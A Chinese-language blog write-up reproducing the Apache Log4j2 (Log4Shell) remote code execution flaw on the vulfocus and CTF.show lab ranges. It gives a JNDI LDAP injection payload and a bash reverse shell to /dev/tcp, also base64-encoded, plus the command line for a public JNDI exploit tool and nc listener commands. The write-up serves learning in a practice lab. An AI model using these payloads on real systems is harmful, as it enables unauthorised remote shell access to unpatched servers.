0x00 前言
作者：Moco
慢慢的距離上次寫文章已過去了377天，這一年發生了好多好多的事，經歷了好多好多的變故，或喜或悲、或分或合、起起落落，整整的一年了得，沒怎么好好學習，沒怎么認真的鑽研技術，對自己表示很抱歉，違背了“白帽守則”，讓我們重溫一下“白帽守則”：
白帽守則第一頁第一條，心中無女人，挖洞自然神。
白帽守則第一頁第二條，只有不努力的白帽，沒有挖不到的漏洞
對此我深表歉意、望大家以我為戒，踏踏實實的深入貫徹落實“白帽守則”，切實維護祖國網絡空間安全。
0x01 漏洞描述
Apache Log4j2是一款優秀的Java日志框架。2021年11月24日，阿里雲安全團隊向Apache官方報告了Apache Log4j2遠程代碼執行漏洞。由於Apache Log4j2某些功能存在遞歸解析功能，攻擊者可直接構造惡意請求，觸發遠程代碼執行漏洞。漏洞利用無需特殊配置，經阿里雲安全團隊驗證，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。阿里雲應急響應中心提醒 Apache Log4j2 用戶盡快采取安全措施阻止漏洞攻擊。
12 月 10 日凌晨，Apache 開源項目 Log4j 的遠程代碼執行漏洞細節被公開，由於 Log4j 的廣泛使用，該漏洞一旦被攻擊者利用會造成嚴重危害。據悉，Apache Log4j 2.x <= 2.14.1 版本均回會受到影響。可能的受影響應用包括但不限於：Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。很多互聯網企業都連夜做了應急措施。截至本文發出，斗魚、京東、網易、深信服和汽車產業安全應急響應中心皆發文表示，鑒於該漏洞影響范圍比較大，業務自查及升級修復需要一定時間，暫不接收 Log4j2 相關的遠程代碼執行漏洞。
0x02 漏洞影響
危險等級
高危
影響版本
Apache Log4j 2.x <= 2.15
0x03 靶場環境
本次用的是vulfocus和CTF.show搭建好的環境，畢竟自己比較懶，不喜歡搭環境。
vulfocus靶場環境地址：http://vulfocus.fofa.so/#/dashboard
選擇：Log4j2遠程命令執行
CTF.show靶場環境地址 ：https://ctf.show/challenges#Log4j復現-1730
0x04 漏洞驗證與復現
啟動環境
首先我們啟動Log4j2遠程命令執行的環境，給我們了提示了環境測試url：http://xxxxx/hello 和post參數為：payload=xxxxx。
開始測試
我們去訪問vulfocus給開啟的環境http://vulfocus.fofa.so:57105/hello
springboot 默認頁面，大哥說他不支持get請求，根據提示，默認傳參為post參數為：payload=xxxxx。
開啟HackBar構造POST包
Ok了！！他ok了！！！，說明我們這個功能可以正常使用，那我們去尋找可以利用的payload，給同事要了篇文章https://www.cnblogs.com/0x200/p/15692319.html，從里面找到了利用的payload：
payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}
復現成功
輸入payload，發包，稍等一分鍾，dnslog就收到了回顯，這是我們可以證明存在Log4j2遠程命令執行漏洞。
反彈shell
我們去在尋找反彈shell的payload與利用方法
首先
准備反彈shell的命令payload
bash -i >& /dev/tcp/1x.16x.x9.1x/1235 0>&1並將其進行base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xeC4xNngueDkuMXgvMTIzNSAwPiYx然后用大哥給的工具，生成payload
工具地址：https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools
運行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xeC4xNngueDkuMXgvMTIzNSAwPiYx}|{base64,-d}|{bash,-i}" -A "1x.16x.x9.1x "
一般我們選擇第三個（JDK 沒有版本的那個）payload進行攻擊，服務器上開啟nc監聽
一波三折
由於vulfocus的環境訪問的人數過多，反彈shell過慢，容易把環境卡死，故換成ctf.show的靶場進行復現，前面步驟都是一樣的，不過ctf.show的不能開啟動】hackbar和burp進行發包，只能通過前台登錄口處進行發包請求，直接粘入payload，發包，成功反彈到shell。
輸入env即可獲取flag。
不忘初心
一開始是用的我Windows服務器進行反彈的，但是聽我同事說windows的nc監聽和Linux的不一樣，當時一直以為是監聽命令錯了呢，最后才發現是環境有問題，使用的人太多了談不過來了（ps此處沒有打錯字，就是“談”，意思自行理解），其余步驟和上面的都一樣。
附上windows監聽的命令
nc.exe -l -p 端口再次打開ctf.show的環境成功反彈
總結與反思
世上無難事只要肯放棄！其實有很多時候我都感覺我是不是入錯行，我是不是不適合干攻防滲透，一個洞，站在那么多大佬寫的文章，和同事小伙伴的手把手教學，就那三四個步驟，兩三條命令，我一錯再錯，什么忘監聽端口了，什么端口沒改拉，總之各種細節都把握的不夠好，希望自己吧以后可以仔細仔細再仔細，無論遇到什么事情，都要去平淡的去看待他，慢慢來。
首先呢我在這遇到的第一個問題就是吧小寫的‘l’，看成了大寫的’I’,后面又遇到了生成dnslog打不開，特別慢的事故，后面又遇到了生成payload時Java報錯說占用的情況，在同事的幫助下使用netstat -no | grep 2222查看端口，ps -ef | grep java查看Java的進程，kill -9 2422591殺掉了原來的Java進程解決的，后來用payload打的時候，還忘監聽了。真的是，太不細心了。
0x05 參考文獻與致謝
參考文獻
https://www.cnblogs.com/xuzhujack/p/15673703.html
https://www.cnblogs.com/0x200/p/15692319.html
https://www.jb51.net/article/231932.htm
致謝
vulfocus 靶場：http://vulfocus.fofa.so/#/dashboard
CTF.Show靶場：https://ctf.show/challenges#Log4j復現-1730
轉載請注明：Adminxe's Blog » Apache Log4j2漏洞復現